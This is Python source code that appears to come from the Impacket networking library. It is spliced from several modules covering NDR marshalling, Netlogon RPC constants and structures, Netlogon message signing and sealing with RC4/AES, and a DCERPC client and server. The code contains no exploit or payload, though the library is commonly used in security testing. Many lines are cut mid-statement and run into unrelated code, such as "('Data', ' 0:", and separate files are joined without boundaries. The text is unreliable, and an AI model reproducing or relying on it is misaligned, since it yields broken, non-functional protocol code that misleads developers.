if hasattr(self, 'notAlign'):
align = 1
else:
align = 4
pad = (align - (soFar % align)) % align
if pad > 0:
data += '\xbd'*pad
soFar += pad
if self.structure is ():
return data
for fieldName, fieldTypeOrClass in self.structure:
try:
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data += '\xbe'*pad
res = self.pack(fieldName, fieldTypeOrClass, soFar)
data += res
soFar = soFar0 + len(data)
except Exception, e:
LOG.error(str(e))
LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
raise
return data
def fromString(self, data, soFar = 0 ):
soFar0 = soFar
# Let's align ourselves
alignment = self.getAlignment()
if alignment > 0:
pad = (alignment - (soFar % alignment)) % alignment
else:
pad = 0
if pad > 0:
soFar += pad
data = data[pad:]
if len(data) > 4:
# First off, let's see what the tag is:
# We need to know the tag type and unpack it
tagtype = self.commonHdr[0][1].structure[0][1].split('=')[0]
tag = unpack(tagtype, data[:calcsize(tagtype)])[0]
if self.union.has_key(tag):
self.structure = (self.union[tag]),
self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
else:
# Let's see if we have a default value
if self.union.has_key('default'):
if self.union['default'] is None:
self.structure = ()
else:
self.structure = (self.union['default']),
# Init again the structure
self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
self.fields['tag']['Data'] = 0xffff
else:
raise Exception("Unknown tag %d for union!" % tag)
for fieldName, fieldTypeOrClass in self.commonHdr:
try:
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data = data[pad:]
size = self.unpack(fieldName, fieldTypeOrClass, data, soFar)
data = data[size:]
soFar += size
except Exception,e:
LOG.error(str(e))
LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256]))
raise
# WARNING
# Now we need to align what's coming next.
# This doesn't come from the documentation but from seeing the packets in the wire
# for some reason, even if the next field is a SHORT, it should be aligned to
# a DWORD, or HYPER if NDR64.
if self._isNDR64:
align = 8
else:
if hasattr(self, 'notAlign'):
align = 1
else:
align = 4
pad = (align - (soFar % align)) % align
if pad > 0:
data = data[pad:]
soFar += pad
if self.structure is ():
return self
for fieldName, fieldTypeOrClass in self.structure:
try:
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data = data[pad:]
size = self.unpack(fieldName, fieldTypeOrClass, data, soFar)
data = data[size:]
soFar += size
except Exception,e:
LOG.error(str(e))
LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256]))
raise
return soFar - soFar0
def getAlignment(self):
# Union alignment is the largest alignment of the union discriminator
# and all of the union arms.
# WRONG, I'm calculating it just with the tag, if I do it with the
# arms I get bad stub data. Something wrong I'm doing or the standard
# is wrong (most probably it's me :s )
align = 0
if self._isNDR64:
fields = self.commonHdr+self.structure
else:
fields = self.commonHdr
for fieldName, fieldTypeOrClass in fields:
if isinstance(self.fields[fieldName], NDR):
tmpAlign = self.fields[fieldName].getAlignment()
else:
tmpAlign = self.calcPackSize(fieldTypeOrClass, '')
if tmpAlign > align:
align = tmpAlign
if self._isNDR64:
for fieldName, fieldTypeOrClass in self.union.itervalues():
tmpAlign = fieldTypeOrClass(isNDR64 = self._isNDR64).getAlignment()
if tmpAlign > align:
align = tmpAlign
return align
# Pipes not implemented for now
# Pointers
class NDRPOINTERNULL(NDR):
align = 4
align64 = 8
structure = (
('Data', ' 0:
soFar += pad
data = '\xaa'*pad
# If we have a ReferentID == 0, means there's no data
if self.fields['ReferentID'] == 0:
if len(self.referent) > 0:
self['Data'] = ''
else:
if self._isNDR64 is True:
return data+'\x00'*8
else:
return data+'\x00'*4
return data + NDRSTRUCT.getData(self, soFar)
def fromString(self,data,soFar = 0):
# First of all we need to align ourselves
pad = self.calculatePad(self.commonHdr[0][1], soFar)
if pad > 0:
soFar += pad
data = data[pad:]
# Do we have a Referent ID == 0?
if self._isNDR64 is True:
unpackStr = ' 0:
soFar += pad
data += '\xab'*pad
# Are we dealing with an array?
if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName],
NDRUniConformantVaryingArray):
# Align size item
if self._isNDR64:
pad = (8 - (soFar % 8)) % 8
else:
pad = (4 - (soFar % 4)) % 4
# Pack the item
res = self.pack(fieldName, fieldTypeOrClass, soFar+pad)
# Yes, get the array size
arraySize = self.getArrayMaximumSize(fieldName)
if self._isNDR64:
pad = (8 - (soFar % 8)) % 8
data += '\xce'*pad + pack('.
# There are test cases for them too.
#
from struct import pack
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
NDRUniFixedArray, NDRUniConformantVaryingArray
from impacket.dcerpc.v5.dtypes import WSTR, LPWSTR, DWORD, ULONG, USHORT, PGUID, NTSTATUS, NULL, LONG, UCHAR, PRPC_SID, \
GUID, RPC_UNICODE_STRING, SECURITY_INFORMATION, LPULONG
from impacket import system_errors, nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.samr import OLD_LARGE_INTEGER
from impacket.dcerpc.v5.lsad import PLSA_FOREST_TRUST_INFORMATION
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.structure import Structure
from impacket import ntlm, crypto, LOG
import hmac, hashlib
try:
from Crypto.Cipher import DES, AES, ARC4
except Exception:
LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto")
LOG.critical("See http://www.pycrypto.org/")
MSRPC_UUID_NRPC = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if system_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
elif nt_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'NRPC SessionError: unknown error code: 0x%x' % (self.error_code)
################################################################################
# CONSTANTS
################################################################################
# 2.2.1.2.5 NL_DNS_NAME_INFO
# Type
NlDnsLdapAtSite = 22
NlDnsGcAtSite = 25
NlDnsDsaCname = 28
NlDnsKdcAtSite = 30
NlDnsDcAtSite = 32
NlDnsRfc1510KdcAtSite = 34
NlDnsGenericGcAtSite = 36
# DnsDomainInfoType
NlDnsDomainName = 1
NlDnsDomainNameAlias = 2
NlDnsForestName = 3
NlDnsForestNameAlias = 4
NlDnsNdncDomainName = 5
NlDnsRecordName = 6
# 2.2.1.3.15 NL_OSVERSIONINFO_V1
# wSuiteMask
VER_SUITE_BACKOFFICE = 0x00000004
VER_SUITE_BLADE = 0x00000400
VER_SUITE_COMPUTE_SERVER = 0x00004000
VER_SUITE_DATACENTER = 0x00000080
VER_SUITE_ENTERPRISE = 0x00000002
VER_SUITE_EMBEDDEDNT = 0x00000040
VER_SUITE_PERSONAL = 0x00000200
VER_SUITE_SINGLEUSERTS = 0x00000100
VER_SUITE_SMALLBUSINESS = 0x00000001
VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020
VER_SUITE_STORAGE_SERVER = 0x00002000
VER_SUITE_TERMINAL = 0x00000010
# wProductType
VER_NT_DOMAIN_CONTROLLER = 0x00000002
VER_NT_SERVER = 0x00000003
VER_NT_WORKSTATION = 0x00000001
# 2.2.1.4.18 NETLOGON Specific Access Masks
NETLOGON_UAS_LOGON_ACCESS = 0x0001
NETLOGON_UAS_LOGOFF_ACCESS = 0x0002
NETLOGON_CONTROL_ACCESS = 0x0004
NETLOGON_QUERY_ACCESS = 0x0008
NETLOGON_SERVICE_ACCESS = 0x0010
NETLOGON_FTINFO_ACCESS = 0x0020
NETLOGON_WKSTA_RPC_ACCESS = 0x0040
# 3.5.4.9.1 NetrLogonControl2Ex (Opnum 18)
# FunctionCode
NETLOGON_CONTROL_QUERY = 0x00000001
NETLOGON_CONTROL_REPLICATE = 0x00000002
NETLOGON_CONTROL_SYNCHRONIZE = 0x00000003
NETLOGON_CONTROL_PDC_REPLICATE = 0x00000004
NETLOGON_CONTROL_REDISCOVER = 0x00000005
NETLOGON_CONTROL_TC_QUERY = 0x00000006
NETLOGON_CONTROL_TRANSPORT_NOTIFY = 0x00000007
NETLOGON_CONTROL_FIND_USER = 0x00000008
NETLOGON_CONTROL_CHANGE_PASSWORD = 0x00000009
NETLOGON_CONTROL_TC_VERIFY = 0x0000000A
NETLOGON_CONTROL_FORCE_DNS_REG = 0x0000000B
NETLOGON_CONTROL_QUERY_DNS_REG = 0x0000000C
NETLOGON_CONTROL_BACKUP_CHANGE_LOG = 0x0000FFFC
NETLOGON_CONTROL_TRUNCATE_LOG = 0x0000FFFD
NETLOGON_CONTROL_SET_DBFLAG = 0x0000FFFE
NETLOGON_CONTROL_BREAKPOINT = 0x0000FFFF
################################################################################
# STRUCTURES
################################################################################
# 3.5.4.1 RPC Binding Handles for Netlogon Methods
LOGONSRV_HANDLE = WSTR
PLOGONSRV_HANDLE = LPWSTR
# 2.2.1.1.1 CYPHER_BLOCK
class CYPHER_BLOCK(NDRSTRUCT):
structure = (
('Data', '8s=""'),
)
def getAlignment(self):
return 1
NET_API_STATUS = DWORD
# 2.2.1.1.2 STRING
from impacket.dcerpc.v5.lsad import STRING
# 2.2.1.1.3 LM_OWF_PASSWORD
class CYPHER_BLOCK_ARRAY(NDRUniFixedArray):
def getDataLen(self, data):
return len(CYPHER_BLOCK())*2
class LM_OWF_PASSWORD(NDRSTRUCT):
structure = (
('Data', CYPHER_BLOCK_ARRAY),
)
# 2.2.1.1.4 NT_OWF_PASSWORD
NT_OWF_PASSWORD = LM_OWF_PASSWORD
ENCRYPTED_NT_OWF_PASSWORD = NT_OWF_PASSWORD
# 2.2.1.3.4 NETLOGON_CREDENTIAL
class UCHAR_FIXED_ARRAY(NDRUniFixedArray):
align = 1
def getDataLen(self, data):
return len(CYPHER_BLOCK())
class NETLOGON_CREDENTIAL(NDRSTRUCT):
structure = (
('Data',UCHAR_FIXED_ARRAY),
)
def getAlignment(self):
return 1
# 2.2.1.1.5 NETLOGON_AUTHENTICATOR
class NETLOGON_AUTHENTICATOR(NDRSTRUCT):
structure = (
('Credential', NETLOGON_CREDENTIAL),
('Timestamp', DWORD),
)
class PNETLOGON_AUTHENTICATOR(NDRPOINTER):
referent = (
('Data', NETLOGON_AUTHENTICATOR),
)
# 2.2.1.2.1 DOMAIN_CONTROLLER_INFOW
class DOMAIN_CONTROLLER_INFOW(NDRSTRUCT):
structure = (
('DomainControllerName', LPWSTR),
('DomainControllerAddress', LPWSTR),
('DomainControllerAddressType', ULONG),
('DomainGuid', GUID),
('DomainName', LPWSTR),
('DnsForestName', LPWSTR),
('Flags', ULONG),
('DcSiteName', LPWSTR),
('ClientSiteName', LPWSTR),
)
class PDOMAIN_CONTROLLER_INFOW(NDRPOINTER):
referent = (
('Data', DOMAIN_CONTROLLER_INFOW),
)
# 2.2.1.2.2 NL_SITE_NAME_ARRAY
class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
item = RPC_UNICODE_STRING
class PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):
referent = (
('Data', RPC_UNICODE_STRING_ARRAY),
)
class NL_SITE_NAME_ARRAY(NDRSTRUCT):
structure = (
('EntryCount', ULONG),
('SiteNames', PRPC_UNICODE_STRING_ARRAY),
)
class PNL_SITE_NAME_ARRAY(NDRPOINTER):
referent = (
('Data', NL_SITE_NAME_ARRAY),
)
# 2.2.1.2.3 NL_SITE_NAME_EX_ARRAY
class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
item = RPC_UNICODE_STRING
class NL_SITE_NAME_EX_ARRAY(NDRSTRUCT):
structure = (
('EntryCount', ULONG),
('SiteNames', PRPC_UNICODE_STRING_ARRAY),
('SubnetNames', PRPC_UNICODE_STRING_ARRAY),
)
class PNL_SITE_NAME_EX_ARRAY(NDRPOINTER):
referent = (
('Data', NL_SITE_NAME_EX_ARRAY),
)
# 2.2.1.2.4 NL_SOCKET_ADDRESS
# 2.2.1.2.4.1 IPv4 Address Structure
class IPv4Address(Structure):
structure = (
('AddressFamily', '> 32) & 0xffffffff
sequenceHigh |= 0x80000000
res = pack('>L', sequenceLow)
res += pack('>L', sequenceHigh)
return res
def ComputeNetlogonSignatureAES(authSignature, message, confounder, sessionKey):
# [MS-NRPC] Section 3.3.4.2.1, point 7
hm = hmac.new(key=sessionKey, digestmod=hashlib.sha256)
hm.update(str(authSignature)[:8])
# If no confidentiality requested, it should be ''
hm.update(confounder)
hm.update(str(message))
return hm.digest()[:8]+'\x00'*24
def ComputeNetlogonSignatureMD5(authSignature, message, confounder, sessionKey):
# [MS-NRPC] Section 3.3.4.2.1, point 7
md5 = hashlib.new('md5')
md5.update('\x00'*4)
md5.update(str(authSignature)[:8])
# If no confidentiality requested, it should be ''
md5.update(confounder)
md5.update(str(message))
finalMD5 = md5.digest()
hm = hmac.new(sessionKey)
hm.update(finalMD5)
return hm.digest()[:8]
def encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey):
# [MS-NRPC] Section 3.3.4.2.1, point 9
hm = hmac.new(sessionKey)
hm.update('\x00'*4)
hm2 = hmac.new(hm.digest())
hm2.update(checkSum)
encryptionKey = hm2.digest()
cipher = ARC4.new(encryptionKey)
return cipher.encrypt(sequenceNum)
def decryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey):
# [MS-NRPC] Section 3.3.4.2.2, point 5
return encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey)
def encryptSequenceNumberAES(sequenceNum, checkSum, sessionKey):
# [MS-NRPC] Section 3.3.4.2.1, point 9
IV = checkSum[:8] + checkSum[:8]
Cipher = AES.new(sessionKey, AES.MODE_CFB, IV)
return Cipher.encrypt(sequenceNum)
def decryptSequenceNumberAES(sequenceNum, checkSum, sessionKey):
# [MS-NRPC] Section 3.3.4.2.1, point 9
IV = checkSum[:8] + checkSum[:8]
Cipher = AES.new(sessionKey, AES.MODE_CFB, IV)
return Cipher.decrypt(sequenceNum)
def SIGN(data, confounder, sequenceNum, key, aes = False):
if aes is False:
signature = NL_AUTH_SIGNATURE()
signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_MD5
if confounder == '':
signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED
else:
signature['SealAlgorithm'] = NL_SEAL_RC4
signature['Checksum'] = ComputeNetlogonSignatureMD5(signature, data, confounder, key)
signature['SequenceNumber'] = encryptSequenceNumberRC4(deriveSequenceNumber(sequenceNum), signature['Checksum'], key)
return signature
else:
signature = NL_AUTH_SIGNATURE()
signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_SHA256
if confounder == '':
signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED
else:
signature['SealAlgorithm'] = NL_SEAL_AES128
signature['Checksum'] = ComputeNetlogonSignatureAES(signature, data, confounder, key)
signature['SequenceNumber'] = encryptSequenceNumberAES(deriveSequenceNumber(sequenceNum), signature['Checksum'], key)
return signature
def SEAL(data, confounder, sequenceNum, key, aes = False):
signature = SIGN(data, confounder, sequenceNum, key, aes)
sequenceNum = deriveSequenceNumber(sequenceNum)
XorKey = []
for i in key:
XorKey.append(chr(ord(i) ^ 0xf0))
XorKey = ''.join(XorKey)
if aes is False:
hm = hmac.new(XorKey)
hm.update('\x00'*4)
hm2 = hmac.new(hm.digest())
hm2.update(sequenceNum)
encryptionKey = hm2.digest()
cipher = ARC4.new(encryptionKey)
cfounder = cipher.encrypt(confounder)
cipher = ARC4.new(encryptionKey)
encrypted = cipher.encrypt(data)
signature['Confounder'] = cfounder
return encrypted, signature
else:
IV = sequenceNum + sequenceNum
cipher = AES.new(XorKey, AES.MODE_CFB, IV)
cfounder = cipher.encrypt(confounder)
encrypted = cipher.encrypt(data)
signature['Confounder'] = cfounder
return encrypted, signature
def UNSEAL(data, auth_data, key, aes = False):
auth_data = NL_AUTH_SIGNATURE(auth_data)
XorKey = []
for i in key:
XorKey.append(chr(ord(i) ^ 0xf0))
XorKey = ''.join(XorKey)
if aes is False:
sequenceNum = decryptSequenceNumberRC4(auth_data['SequenceNumber'], auth_data['Checksum'], key)
hm = hmac.new(XorKey)
hm.update('\x00'*4)
hm2 = hmac.new(hm.digest())
hm2.update(sequenceNum)
encryptionKey = hm2.digest()
cipher = ARC4.new(encryptionKey)
cfounder = cipher.encrypt(auth_data['Confounder'])
cipher = ARC4.new(encryptionKey)
plain = cipher.encrypt(data)
return plain, cfounder
else:
sequenceNum = decryptSequenceNumberAES(auth_data['SequenceNumber'], auth_data['Checksum'], key)
IV = sequenceNum + sequenceNum
cipher = AES.new(XorKey, AES.MODE_CFB, IV)
cfounder = cipher.decrypt(auth_data['Confounder'])
plain = cipher.decrypt(data)
return plain, cfounder
def getSSPType1(workstation='', domain='', signingRequired=False):
auth = NL_AUTH_MESSAGE()
auth['Flags'] = 0
auth['Buffer'] = ''
auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_DOMAIN
if domain != '':
auth['Buffer'] = auth['Buffer'] + domain + '\x00'
else:
auth['Buffer'] += 'WORKGROUP\x00'
auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST
if workstation != '':
auth['Buffer'] = auth['Buffer'] + workstation + '\x00'
else:
auth['Buffer'] += 'MYHOST\x00'
auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST_UTF8
if workstation != '':
auth['Buffer'] += pack(' 0 else 0)+len(pduData)+len(pad)+len(sec_trailer)'), # 8
('auth_len',' 0 else 0)'),
('pduData',':'),
('_pad', '_-pad','(4 - ((self._SIZE + (16 if (self["flags"] & 0x80) > 0 else 0) + len(self["pduData"])) & 3) & 3)'),
('pad', ':'),
('_sec_trailer', '_-sec_trailer', '8 if self["auth_len"] > 0 else 0'),
('sec_trailer',':'),
('auth_dataLen','_-auth_data','self["auth_len"]'),
('auth_data',':'),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self,data, alignment)
if data is None:
self['ver_major'] = 5
self['ver_minor'] = 0
self['flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG
self['type'] = MSRPC_REQUEST
self.__frag_len_set = 0
self['auth_len'] = 0
self['pduData'] = ''
self['auth_data'] = ''
self['sec_trailer'] = ''
self['pad'] = ''
def get_header_size(self):
return self._SIZE + (16 if (self["flags"] & PFC_OBJECT_UUID) > 0 else 0)
def get_packet(self):
if self['auth_data'] != '':
self['auth_len'] = len(self['auth_data'])
# The sec_trailer structure MUST be 4-byte aligned with respect to
# the beginning of the PDU. Padding octets MUST be used to align the
# sec_trailer structure if its natural beginning is not already 4-byte aligned
##self['pad'] = '\xAA' * (4 - ((self._SIZE + len(self['pduData'])) & 3) & 3)
return self.getData()
class MSRPCRequestHeader(MSRPCHeader):
_SIZE = 24
commonHdr = MSRPCHeader.commonHdr + (
('alloc_hint',' 0 else 0' ), # 22
('uuid',':'), # 22
)
def __init__(self, data = None, alignment = 0):
MSRPCHeader.__init__(self, data, alignment)
if data is None:
self['type'] = MSRPC_REQUEST
self['ctx_id'] = 0
self['uuid'] = ''
class MSRPCRespHeader(MSRPCHeader):
_SIZE = 24
commonHdr = MSRPCHeader.commonHdr + (
('alloc_hint',' 0 else 0'),
('sec_trailer',':'),
('auth_dataLen','_-auth_data','self["auth_len"]'),
('auth_data',':'),
)
def __init__(self, data = None, alignment = 0):
self.__ctx_items = []
MSRPCHeader.__init__(self,data,alignment)
if data is None:
self['Pad'] = ''
self['ctx_items'] = ''
self['sec_trailer'] = ''
self['auth_data'] = ''
def getCtxItems(self):
return self.__ctx_items
def getCtxItem(self,index):
return self.__ctx_items[index-1]
def fromString(self, data):
Structure.fromString(self,data)
# Parse the ctx_items
data = self['ctx_items']
for i in range(self['ctx_num']):
item = CtxItemResult(data)
self.__ctx_items.append(item)
data = data[len(item):]
class MSRPCBindNak(Structure):
structure = (
('RejectedReason',' 0:
# User set a frag size, let's compare it with the max transmit size agreed when binding the interface
fragment_size = min(self._max_user_frag, self.__max_xmit_size)
else:
fragment_size = self.__max_xmit_size
# Sanity check. Fragmentation can't be too low, otherwise sec_trailer won't fit
if self.__auth_level in [RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY]:
if fragment_size <= 8:
# Minimum pdu fragment size is 8, important when doing PKT_INTEGRITY/PRIVACY. We need a minimum size of 8
# (Kerberos)
fragment_size = 8
# ToDo: Better calculate the size needed. Now I'm setting a number that surely is enough for Kerberos and NTLM
# ToDo: trailers, both for INTEGRITY and PRIVACY. This means we're not truly honoring the user's frag request.
if len(data['pduData']) + 128 > fragment_size:
should_fragment = True
if fragment_size+128 > self.__max_xmit_size:
fragment_size = self.__max_xmit_size - 128
if should_fragment:
packet = data['pduData']
offset = 0
while 1:
toSend = packet[offset:offset+fragment_size]
if not toSend:
break
if offset == 0:
data['flags'] |= PFC_FIRST_FRAG
else:
data['flags'] &= (~PFC_FIRST_FRAG)
offset += len(toSend)
if offset >= len(packet):
data['flags'] |= PFC_LAST_FRAG
else:
data['flags'] &= (~PFC_LAST_FRAG)
data['pduData'] = toSend
self._transport_send(data, forceWriteAndx = 1, forceRecv =data['flags'] & PFC_LAST_FRAG)
else:
self._transport_send(data)
self.__callid += 1
def recv(self):
finished = False
forceRecv = 0
retAnswer = ''
while not finished:
# At least give me the MSRPCRespHeader, especially important for
# TCP/UDP Transports
response_data = self._transport.recv(forceRecv, count=MSRPCRespHeader._SIZE)
response_header = MSRPCRespHeader(response_data)
# Ok, there might be situation, especially with large packets, that
# the transport layer didn't send us the full packet's contents
# So we gotta check we received it all
while len(response_data) < response_header['frag_len']:
response_data += self._transport.recv(forceRecv, count=(response_header['frag_len']-len(response_data)))
off = response_header.get_header_size()
if response_header['type'] == MSRPC_FAULT and response_header['frag_len'] >= off+4:
status_code = unpack(" 0:
answer, cfounder = self.__gss.GSS_Unwrap(self.__sessionKey, answer, self.__sequence,
direction='init', authData=auth_data)
elif sec_trailer['auth_level'] == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY:
if self.__auth_type == RPC_C_AUTHN_WINNT:
ntlmssp = auth_data[12:]
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
signature = ntlm.SIGN(self.__flags,
self.__serverSigningKey,
answer,
self.__sequence,
self.__serverSealingHandle)
else:
signature = ntlm.SIGN(self.__flags,
self.__serverSigningKey,
ntlmssp,
self.__sequence,
self.__serverSealingHandle)
# Yes.. NTLM2 doesn't increment sequence when receiving
# the packet :P
self.__sequence += 1
elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
from impacket.dcerpc.v5 import nrpc
ntlmssp = auth_data[12:]
signature = nrpc.SIGN(ntlmssp,
self.__confounder,
self.__sequence,
self.__sessionKey,
False)
self.__sequence += 1
elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
# Do NOT increment the sequence number when Signing Kerberos
#self.__sequence += 1
pass
if sec_trailer['auth_pad_len']:
answer = answer[:-sec_trailer['auth_pad_len']]
retAnswer += answer
return retAnswer
def alter_ctx(self, newUID, bogus_binds = 0):
answer = self.__class__(self._transport)
answer.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, self.__TGT, self.__TGS)
answer.set_auth_type(self.__auth_type)
answer.set_auth_level(self.__auth_level)
answer.set_ctx_id(self._ctx+1)
answer.__callid = self.__callid
answer.bind(newUID, alter = 1, bogus_binds = bogus_binds, transfer_syntax = bin_to_uuidtup(self.transfer_syntax))
return answer
class DCERPC_RawCall(MSRPCRequestHeader):
def __init__(self, op_num, data = '', uuid=None):
MSRPCRequestHeader.__init__(self)
self['op_num'] = op_num
self['pduData'] = data
if uuid is not None:
self['flags'] |= PFC_OBJECT_UUID
self['uuid'] = uuid
def setData(self, data):
self['pduData'] = data
# 2.2.6 Type Serialization Version 1
class CommonHeader(NDRSTRUCT):
structure = (
('Version', UCHAR),
('Endianness', UCHAR),
('CommonHeaderLength', USHORT),
('Filler', ULONG),
)
def __init__(self, data = None,isNDR64 = False):
NDRSTRUCT.__init__(self, data, isNDR64)
if data is None:
self['Version'] = 1
self['Endianness'] = 0x10
self['CommonHeaderLength'] = 8
self['Filler'] = 0xcccccccc
class PrivateHeader(NDRSTRUCT):
structure = (
('ObjectBufferLength', ULONG),
('Filler', ULONG),
)
def __init__(self, data = None,isNDR64 = False):
NDRSTRUCT.__init__(self, data, isNDR64)
if data is None:
self['Filler'] = 0xcccccccc
class TypeSerialization1(NDRSTRUCT):
commonHdr = (
('CommonHeader', CommonHeader),
('PrivateHeader', PrivateHeader),
)
def getData(self, soFar = 0):
self['PrivateHeader']['ObjectBufferLength'] = len(NDRSTRUCT.getData(self, soFar)) + len(
NDRSTRUCT.getDataReferents(self, soFar)) - len(self['CommonHeader']) - len(self['PrivateHeader'])
return NDRSTRUCT.getData(self, soFar)
class DCERPCServer(Thread):
"""
A minimalistic DCERPC Server, mainly used by the smbserver, for now. Might be useful
for other purposes in the future, but we should do it way stronger.
If you want to implement a DCE Interface Server, use this class as the base class
"""
def __init__(self):
Thread.__init__(self)
self._listenPort = 0
self._listenAddress = '127.0.0.1'
self._listenUUIDS = {}
self._boundUUID = ''
self._sock = None
self._clientSock = None
self._callid = 1
self._max_frag = None
self._max_xmit_size = 4280
self.__log = LOG
self._sock = socket.socket()
self._sock.bind((self._listenAddress,self._listenPort))
def log(self, msg, level=logging.INFO):
self.__log.log(level,msg)
def addCallbacks(self, ifaceUUID, secondaryAddr, callbacks):
"""
adds a call back to a UUID/opnum call
:param uuid ifaceUUID: the interface UUID
:param string secondaryAddr: the secondary address to answer as part of the bind request (e.g. \\\\PIPE\\\\srvsvc)
:param dict callbacks: the callbacks for each opnum. Format is [opnum] = callback
"""
self._listenUUIDS[uuidtup_to_bin(ifaceUUID)] = {}
self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['SecondaryAddr'] = secondaryAddr
self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['CallBacks'] = callbacks
self.log("Callback added for UUID %s V:%s" % ifaceUUID)
def setListenPort(self, portNum):
self._listenPort = portNum
self._sock = socket.socket()
self._sock.bind((self._listenAddress,self._listenPort))
def getListenPort(self):
return self._sock.getsockname()[1]
def recv(self):
finished = False
retAnswer = ''
response_data = ''
while not finished:
# At least give me the MSRPCRespHeader, especially important for TCP/UDP Transports
response_data = self._clientSock.recv(MSRPCRespHeader._SIZE)
# No data?, connection might have closed
if response_data == '':
return None
response_header = MSRPCRespHeader(response_data)
# Ok, there might be situation, especially with large packets,
# that the transport layer didn't send us the full packet's contents
# So we gotta check we received it all
while len(response_data) < response_header['frag_len']:
response_data += self._clientSock.recv(response_header['frag_len']-len(response_data))
response_header = MSRPCRespHeader(response_data)
if response_header['flags'] & PFC_LAST_FRAG:
# No need to reassembly DCERPC
finished = True
answer = response_header['pduData']
auth_len = response_header['auth_len']
if auth_len:
auth_len += 8
auth_data = answer[-auth_len:]
sec_trailer = SEC_TRAILER(data = auth_data)
answer = answer[:-auth_len]
if sec_trailer['auth_pad_len']:
answer = answer[:-sec_trailer['auth_pad_len']]
retAnswer += answer
return response_data
def run(self):
self._sock.listen(10)
while True:
self._clientSock, address = self._sock.accept()
try:
while True:
data = self.recv()
if data is None:
# No data.. connection closed
break
answer = self.processRequest(data)
if answer is not None:
self.send(answer)
except Exception:
#import traceback
#print traceback.print_exc()
pass
self._clientSock.close()
def send(self, data):
max_frag = self._max_frag
if len(data['pduData']) > self._max_xmit_size - 32:
max_frag = self._max_xmit_size - 32 # XXX: 32 is a safe margin for auth data
if self._max_frag:
max_frag = min(max_frag, self._max_frag)
if max_frag and len(data['pduData']) > 0:
packet = data['pduData']
offset = 0
while 1:
toSend = packet[offset:offset+max_frag]
if not toSend:
break
flags = 0
if offset == 0:
flags |= PFC_FIRST_FRAG
offset += len(toSend)
if offset == len(packet):
flags |= PFC_LAST_FRAG
data['flags'] = flags
data['pduData'] = toSend
self._clientSock.send(data.get_packet())
else:
self._clientSock.send(data.get_packet())
self._callid += 1
def bind(self,packet, bind):
# Standard NDR Representation
NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
resp = MSRPCBindAck()
resp['type'] = MSRPC_BINDACK
resp['flags'] = packet['flags']
resp['frag_len'] = 0
resp['auth_len'] = 0
resp['auth_data'] = ''
resp['call_id'] = packet['call_id']
resp['max_tfrag'] = bind['max_tfrag']
resp['max_rfrag'] = bind['max_rfrag']
resp['assoc_group'] = 0x1234
resp['ctx_num'] = 0
data = bind['ctx_items']
ctx_items = ''
resp['SecondaryAddrLen'] = 0
for i in range(bind['ctx_num']):
result = MSRPC_CONT_RESULT_USER_REJECT
item = CtxItem(data)
data = data[len(item):]
# First we check the Transfer Syntax is NDR32, what we support
if item['TransferSyntax'] == uuidtup_to_bin(NDRSyntax):
# Now Check if the interface is what we listen
reason = 1 # Default, Abstract Syntax not supported
for j in self._listenUUIDS:
if item['AbstractSyntax'] == j:
# Match, we accept the bind request
resp['SecondaryAddr'] = self._listenUUIDS[item['AbstractSyntax']]['SecondaryAddr']
resp['SecondaryAddrLen'] = len(resp['SecondaryAddr'])+1
reason = 0
self._boundUUID = j
else:
